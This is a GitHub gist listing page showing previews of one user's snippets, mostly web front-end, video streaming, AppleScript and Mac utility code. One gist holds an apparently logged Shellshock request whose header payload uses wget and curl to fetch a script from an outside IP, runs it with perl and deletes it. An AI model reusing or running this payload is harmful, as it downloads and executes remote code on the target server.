Skip to content

Instantly share code, notes, and snippets.

View chayapan's full-sized avatar
🎯
Decipline and focus

Chayapan Khannabha chayapan

🎯
Decipline and focus
View GitHub Profile
@chayapan
chayapan / index.html
Created May 7, 2023 20:23
Leaflet and H3 - Airport (base_tha_airport)
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<!-- Add Leaflet CSS -->
@chayapan
chayapan / index.html
Created September 26, 2019 16:21
Really Responsive Tables using CSS Flexbox (complex)
<div class="container-fluid" style="margin-top: 10px">
<div class="table-row header">
<div class="column index">#</div>
<div class="wrapper attributes">
<div class="wrapper title-comment-module-reporter">
<div class="wrapper title-comment">
<div class="column title">Title</div>
<div class="column comment">Comment</div>
</div>
<div class="wrapper module-reporter">
@chayapan
chayapan / index.html
Created September 26, 2019 16:12
Simple register form
<div id="progress"></div>
<div class="center">
<div id="register">
<i id="progressButton" class="ion-android-arrow-forward next"></i>
<div id="inputContainer">
<input id="inputField" required autofocus />
<label id="inputLabel"></label>
@chayapan
chayapan / angular-material-table.markdown
Last active September 26, 2019 16:28
Angular Material Table

Angular Material Table

md-table custom element Attributes : -headers : Array of objects which include "name" and "field" keys for table columns. -content : Array of object which is the content of table rows. -sortable : StringArray with name of sortable columns. -filters : String which filters rows in table (here a ng-model is used). -customClass : Object with columns names as keys and class names as values. -thumb : String equals to the thumbs column name.

@chayapan
chayapan / livestream
Last active May 23, 2016 17:04 — forked from deandob/livestream
Node.JS function to remux mp4/h.264 video from an IP camera to a HTML5 video tag using FFMPEG
// Live video stream management for HTML5 video. Uses FFMPEG to connect to H.264 camera stream,
// Camera stream is remuxed to a MP4 stream for HTML5 video compatibility and segments are recorded for later playback
var liveStream = function (req, resp) { // handle each client request by instantiating a new FFMPEG instance
// For live streaming, create a fragmented MP4 file with empty moov (no seeking possible).
var reqUrl = url.parse(req.url, true)
var cameraName = typeof reqUrl.pathname === "string" ? reqUrl.pathname.substring(1) : undefined;
if (cameraName) {
try {
cameraName = decodeURIComponent(cameraName);
@chayapan
chayapan / export-fcpxml-with-apple-script.sh
Created April 29, 2016 09:31 — forked from jeffrafter/export.sh
Exporting XML from Final Cut Pro using Apple Script
#!/bin/sh
# 'Enable access for assistive devices' must be selected in Universal Access preferences.
osascript -e "
try
tell application \"Final Cut Pro\" to activate
delay 0.5
tell application \"System Events\"
@chayapan
chayapan / App Store Launch TODO
Last active April 29, 2016 04:59
Collection of Apple Inc. links for App Store publish and distribution
"""
Mac App Store Review Guidelines
- https://developer.apple.com/appstore/mac/resources/approval/guidelines.html)
App Sandboxing
- https://developer.apple.com/app-sandboxing/
Code Signing Guide
- https://developer.apple.com/library/mac/documentation/Security/Conceptual/CodeSigningGuide/CodeSigningGuide.pdf
#!/usr/bin/env python
"""
Get quick and dirty information about the Mac I'm using. Apple product is so perfect
I sometimes confuse between one machine and another...
e.g.
1. getting OS version
quadmini:~ chayapan$ python
Python 2.7.10 (default, Oct 23 2015, 19:19:21)
@chayapan
chayapan / jur
Last active August 29, 2015 14:06
GET /cgi-bin/hello HTTP/1.0" 301 0 "-" "() { :;}; /bin/bash -c \x22cd /tmp;wget http://213.5.67.223/jur;curl -O http://213.5.67.223/jur ; perl /tmp/jur;rm -rf /tmp/jur\x22
#!/usr/bin/env python
import os
import sys
import time
import socket
from paramiko import SSHClient, AutoAddPolicy
from novaclient.v1_1 import client as compute_client